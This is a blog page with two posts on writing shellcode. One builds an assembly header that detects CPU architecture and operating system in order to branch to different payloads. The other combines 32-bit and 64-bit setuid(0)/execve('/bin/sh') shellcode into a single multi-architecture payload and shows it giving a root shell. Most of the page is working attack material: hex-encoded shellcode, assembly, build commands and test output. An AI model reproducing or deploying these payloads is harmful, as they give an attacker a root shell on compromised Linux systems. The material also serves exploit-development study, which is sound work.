Showing posts with label x86. Show all posts
Showing posts with label x86. Show all posts

Monday, September 2, 2013

Building a multiplatform shellcode header

This post is a quick overview of one method used to quickly create machine code capable of branching to up to four different platforms:

  • 32-bit Linux
  • 64-bit Linux
  • 32-bit Windows
  • 64-bit Windows

The multi-platform process is a multi-step process that can be broken into small pieces of code - first to detect the processor architecture, then to determine operating system.

Determining Architecture

When I made my last post, I was reminded of an awesomely shorter technique I found while googling for architecture detection developed by the guys over at ragestorm.net. Because theirs is shorter (which in my opinion makes it cooler since we aren't focusing on strictly alphanumeric code), I'll use their getCPU in stead of my own for this little demonstration. Admittedly, I changed a 'jz' to a 'jnz' and re-ordered the code a little bit. Instead of bits_32 we're going to have a determine_32_os label:

arch_detect:
  xorl %eax, %eax
  rex
  nop
  jnz determine_32_os

This is a 6-byte header that works on both windows and linux for determining the CPU architecture, so lets get started with determining the operating system.

Determining operating system using segment registers

EDIT:

Apparently something was seriously wrong with my testing environment. Whether it was due to virtualization or this or that, we suspect that the controversy came from running windows 8.1 in a VM on an amd system with the VM providing an intel interface. In any case, here's the work-around that doesn't rely on the parity bit: segment registers.

All of the segment registers aren't always used by the operating system's runtime environment. In the case of windows, the %ds segment register is nearly always set, whereas in linux, it is nearly always zero. To that end, we can use the following snippet of code to determine operating system by testing for a zero value in the %ds segment register (zero means linux), but this is only valid for 64 bit. In a 32 bit world, %fs is 0 on linux while it has a value on windows:
determine_64_os:
  mov %ds, %eax
  test %eax, %eax
  jnz win64_code
  jmp lin64_code

determine_32_os:
  mov %fs, %eax
  test %eax, %eax
  jz lin32_code 

Final code:

The final version of this header comes out to a 20 bytes that could definitely be made shorter:
arch_detect:
  xorl %eax, %eax
  rex
  nop
  jnz determine_32_os

determine_64_os:
  mov %ds, %eax
  test %eax, %eax
  jnz win64_code
  jmp lin64_code

determine_32_os:
  mov %fs, %eax
  test %eax, %eax
  jz lin32_code 

win32_code:
  nop

lin64_code: 
  nop

win64_code:
  nop

lin32_code:
  nop

And it disassembles to:

0000000000000001 :
   1: 31 c0                 xor    %eax,%eax
   3: 40 90                 rex xchg %eax,%eax
   5: 75 08                 jne    f 

0000000000000007 :
   7: 8c d8                 mov    %ds,%eax
   9: 85 c0                 test   %eax,%eax
   b: 75 0a                 jne    17 
   d: eb 07                 jmp    16 

000000000000000f :
   f: 8c e0                 mov    %fs,%eax
  11: 85 c0                 test   %eax,%eax
  13: 74 03                 je     18 

0000000000000015 :
  15: 90                    nop

0000000000000016 :
  16: 90                    nop

0000000000000017 :
  17: 90                    nop

0000000000000018 :
  18: 90                    nop

Further reading:


Thursday, August 29, 2013

Building multi-architecture shellcode with shellcodecs

Earlier when I documented alphanumeric shellcode I released a stub that allows you to determine the x86 cpu architecture that I called a 'getcpu'. Using a few tools from shellcodecs, I was able to combine it with a couple of other shellcodes and test the compatibility locally.

Building a 32-bit shellcode loader on a multilib system

The first thing I did was take the 32-bit loader found in shellcodecs and built it on my 64-bit system to get a decent test environment going.
root@box:~/Downloads/shellcode/loaders# as --32 loader-32.s -o loader-32.o
root@box:~/Downloads/shellcode/loaders# ld -m elf_i386 loader-32.o -o loader-32

Initial codes

I picked out two setuid(0); execve('/bin/bash',null,null) shellcodes: a 32-bit shellcode used in our buffer overflow wiki, and the 64-bit version that I wrote for shellcodecs, giving us the three portions of code below.
  • The getCPU stub:
    TX4HPZTAZAYVH92
    
  • The 32-bit payload:
    \xeb\x1f\x5e\x89\x76\x08
    \x31\xc0\x88\x46\x07\x89
    \x46\x0c\xb0\x0b\x89\xf3
    \x8d\x4e\x08\x8d\x56\x0c
    \xcd\x80\x31\xdb\x89\xd8
    \x40\xcd\x80\xe8\xdc\xff
    \xff\xff/bin/sh
    
  • The 64-bit payload:
    \x48\x31\xff\x6a\x69\x58
    \x0f\x05\x57\x57\x5e\x5a
    \x6a\x68\x48\xb8\x2f\x62
    \x69\x6e\x2f\x62\x61\x73
    \x50\x54\x5f\x6a\x3b\x58
    \x0f\x05
    
I got the 64-bit payload using the following command from a compiled shellcodecs installation:
generators/shellcode-generator.py --file null-free/setuid_binsh --hex

Tying them together

The 64-bit payload is 32 bytes. In hex, this is represented with 0x20 or \x20. Because the getCPU sets the zflag on 32-bit and doesn't on 64-bit, I took the GetCPU and added a conditional jump if equal 0x20 ("t\x20"):
TX4HPZTAZAYVH92t\x20
The idea here is that if its on a 32-bit system, it will jump over the 64-bit payload and execute the 32-bit system. If its on a 64-bit system, it will execute the 64-bit code without continuing to the 32-bit code because execve() is blocking. I appended the 64-bit payload, followed by the 32-bit payload to our altered getCPU with the conditional jump:
TX4HPZTAZAYVH92t\x20
\x48\x31\xff\x6a\x69
\x58\x0f\x05\x57\x57
\x5e\x5a\x6a\x68\x48
\xb8\x2f\x62\x69\x6e
\x2f\x62\x61\x73\x50
\x54\x5f\x6a\x3b\x58
\x0f\x05\xeb\x1f\x5e
\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46
\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56
\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80
\xe8\xdc\xff\xff\xff
/bin/sh
This comes out to 94 bytes.

Testing the shellcode

  • On 32-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-32 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # exit
    
  • On 64-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-64 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    root@box:/home/hats/Downloads/shellcode/loaders# id
    uid=0(root) gid=0(root) groups=0(root)
    root@box:/home/hats/Downloads/shellcode/loaders# exit
    exit
    
This same tricks works for windows shellcodes as well, the getCPU stub does not interfere with operating system internals or cause exceptions to be raised.